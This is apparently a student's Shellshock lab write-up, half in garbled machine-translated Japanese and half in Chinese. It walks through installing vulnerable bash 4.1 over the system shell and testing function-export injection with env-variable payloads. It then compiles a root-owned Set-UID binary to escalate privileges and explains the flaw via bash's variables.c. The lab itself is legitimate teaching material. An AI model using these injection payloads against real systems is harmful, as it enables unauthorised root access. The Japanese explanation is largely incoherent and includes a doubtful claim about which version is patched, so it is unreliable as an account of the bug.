2014年シェルショック脆弱性攻撃の再生や脆弱性の原因を理解
2014年シェルショック脆弱性プロファイル
またBashdoorとして知られている2014年シェルショック脆弱性は、広くUNIXで使用されるセキュリティ上の脆弱性のBashシェルは2014年9月24日オープンで初めて、です。バッシュを使用して、ウェブサーバのような多くのインターネットデーモンは、攻撃者はバッシュの脆弱なバージョン上で任意のコードを実行できるように、特定のコマンドを処理します。これは、許可なしでコンピュータシステムにアクセスするために利用することができます。 - ウィキペディアからの抜粋
2014年シェルショック脆弱性誤差はバッシュ、コマンドとコマンドラインスクリプトを実行するために使用されるさまざまなUnixベースのシステムに影響を与えます。これは通常、システムのデフォルトのコマンド・ライン・インターフェースとしてインストールされます。1989年9月のBashのバージョン1.03のリリース以降、ディスプレイのソースコードのバッシュ履歴解析、バグがすでに存在しています。
2014年シェルショック脆弱性は、システムのユーザーのために使用すべきではない実行コマンドのための方法を提供する権限昇格の脆弱性です。バッシュの実行中のインスタンスに低レベルのインスタンスと共有することができるように作成されたこれは、コマンドスクリプト、バッシュ関数が発生し、「エクスポートする機能」によって行われます。インスタンス間で共有スクリプトによる符号化、この機能を実現するために(上場環境変数と呼ばれます)。bashは、各インスタンスは、スクリプトの新しいインスタンスで定義されたコマンドに組み立てスクリプトを符号化するためのテーブルのそれぞれの新しいインスタンスをスキャンし、コマンドを実行します。リストから別の例で見つかったスクリプトの新しいインスタンスを前提としたが、それはこのことを確認することができない、それはコマンドスクリプトが適切な形成を定義するために構築されていることを確認することはできません。そのため、攻撃者がシステム上で任意のコマンドを実行、または(攻撃者は、環境変数と実行しているバッシュへの鉛のリストを操作する方法を持っている場合)が可能通訳他のエラーbashコマンドを使用することができます。
このバグ一般にリリース2014年9月24日には、bashのは、潜在的なセキュリティ問題を解決するためにコンピュータを更新するためにいくつかの時間が必要にもかかわらず、公開する準備ができて、このパッチを更新しました。
ビルドへの環境
root権限を持つバージョン4.1のbashをインストールします(穴の少なくともバージョン4.2が差し込まれている)bash4.1元のダウンロードアドレスが HTTP://ftp/gnu.org/gnu/bash/bash-4.1.tar.gz ためには、スピード、ここで私たちは、次のダウンロードを使用し http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
下载
# sudo su
# wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
安装
# tar xf bash-4.1.tar.gz
# cd bash-4.1
# ./configure
# make && make install
链接
# rm /bin/bash
# ln -s /usr/local/bin/bash /bin/bash
ここで終了し、インストールの後、2014年シェルショック脆弱性脆弱性の存在を検出します。
# exit
$ env x='() { :; }; echo vulnerable' bash -c "echo this is a test "
脆弱出力は、それは抜け穴はbashがあることを示しています。
最後に、/ binに/ bashのに/ binに/ shのポイントを聞かせて。
準備は作られました。
予備
bashのカスタム関数を学び、関数名は関数を呼び出すことができるようになります。
$ foo() { echo bar; }
$ foo
> bar
今回はBashの環境変数:
KEY = foo
VALUE = () { echo bar; }
真美2014年シェルショック脆弱性の脆弱性を見てみましょう:
export foo='() { :; }; echo Hello World'
bash
>Hello World
なぜコールbashのときの出力のHello World?彼は内部の状況を見てみましょう。
KEY = foo
VALUE = () { :; }; echo Hello World
bashは関数foo直接コールバックを定義した後、環境変数を読み込みます。bashの呼び出したら、カスタム文を直接トリガします。
コンテンツ実験
本研究では、我々は、Set-UIDプログラムを攻撃することによって、ルート権限を取得するために使用しました。
私たちは、あなたが許可2014年シェルショック脆弱性、それを得るために抜け穴を利用することができ、/ binに/ bashのが呼ばれていることも、この意味、「/ binが/ SH -c」が指定されたコマンドを実行するために()関数が呼び出されるシステムを知っていますか?まず、あなたがに/ binに/ bashのbashの抜け穴とバージョン、およびメイク/ binに/ shのポイントがあることを確認してください。
$ sudo ln -sf /bin/bash /bin/sh
/ホーム/ shiyanlouカタログに新しいファイルを作成Shock.c:
$ vi shock.c
私は挿入モードを押すと、次のように入力します。
#include <stdio.h>
void main()
{
setuid(geteuid()); // make real uid = effective uid.
system("/bin/ls -l");
}
コードをコンパイルし、そしてそれはrootが所有していることを確認するには、Set-UIDプログラムに設定します。
$ sudo su
$ gcc -o shock shock.c
$ chmod u+s shock
$ ls -il shock
私たちは、これは、普遍的な現象ではない、ここで実uid =実効uidへのsetuid(geteuid())の使用を注意したが、それは時々のSet-UIDプログラムで起こるん。まずそれを自分でハックしてみてください:)
以下は、ハックプロセスです。
如果 setuid(geteuid()) 语句被去掉了,再试试看攻击,我们还能够拿到权限么?
$ sudo su
$ gcc -o shOck shOck.c
$ chmod u+s shOck
$ ls -il shOck
$ exit
$ ./shOck
(hack过程与step1完全一样,sh0ck是编译后的程序)
失败了!这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个 uid 不同的话,环境变量失效,就无法发动攻击了,这可以从 bash的源代码中得到印证(variables.c,在308到369行之间)请指出是哪一行导致了这样的不同,并说明bash这样设计的原因。
这里给出部分代码
/* Initialize the shell variables from the current environment.
If PRIVMODE is nonzero, don't import functions from ENV or
parse $SHELLOPTS. */
void
initialize_shell_variables (env, privmode)
char **env;
int privmode;
{
char *name, *string, *temp_string;
int c, char_index, string_index, string_length;
SHELL_VAR *temp_var;
create_variable_tables ();
for (string_index = 0; string = env[string_index++]; )
{
char_index = 0;
name = string;
while ((c = *string++) && c != '=')
;
if (string[-1] == '=')
char_index = string - name - 1;
/* If there are weird things in the environment, like `=xxx' or a
string without an `=', just skip them. */
if (char_index == 0)
continue;
/* ASSERT(name[char_index] == '=') */
name[char_index] = '\0';
/* Now, name = env variable name, string = env variable value, and
char_index == strlen (name) */
temp_var = (SHELL_VAR *)NULL;
/* If exported function, define it now. Don't import functions from
the environment in privileged mode. */
if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
{
string_length = strlen (string);
temp_string = (char *)xmalloc (3 + string_length + char_index);
strcpy (temp_string, name);
temp_string[char_index] = ' ';
strcpy (temp_string + char_index + 1, string);
parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);
/* Ancient backwards compatibility. Old versions of bash exported
functions like name()=() {...} */
if (name[char_index - 1] == ')' && name[char_index - 2] == '(')
name[char_index - 2] = '\0';
if (temp_var = find_function (name))
{
VSETATTR (temp_var, (att_exported|att_imported));
array_needs_making = 1;
}
else
report_error (_("error importing function definition for `%s'"), name);
/* ( */
if (name[char_index - 1] == ')' && name[char_index - 2] == '\0')
name[char_index - 2] = '('; /* ) */
}
摘出其中关键部分并简化
void initialize_shell_variables(){
// 循环遍历所有环境变量
for (string_index = 0; string = env[string_index++]; ) {
/*...*/
/* 如果有export过的函数, 在这里定义 */
/* 无法导入在特权模式下(root下)定义的函数 */
if (privmode == 0 && read_but_dont_execute == 0 &&
STREQN (“() {“, string, 4)) {
[...]
// 这里是shellshock发生的地方
// 传递函数定义 + 运行额外的指令
parse_and_execute (temp_string, name,
SEVAL_NONINT|SEVAL_NOHIST);
[...]
} }
就是上述那一行判断逻辑导致了两者的不同,primode即私有模式,要求real uid 与 effective uid保持一致。
遇到的问题
去掉setuid(geteuid())语句时,实验楼中是重命名为了sh0ck,而我命名为shOck,导致检测有一点小问题,不过无伤大雅0.0
此为本人Linux学习第十一周的内容,如有不足,还请批评指正,不胜感激。
以上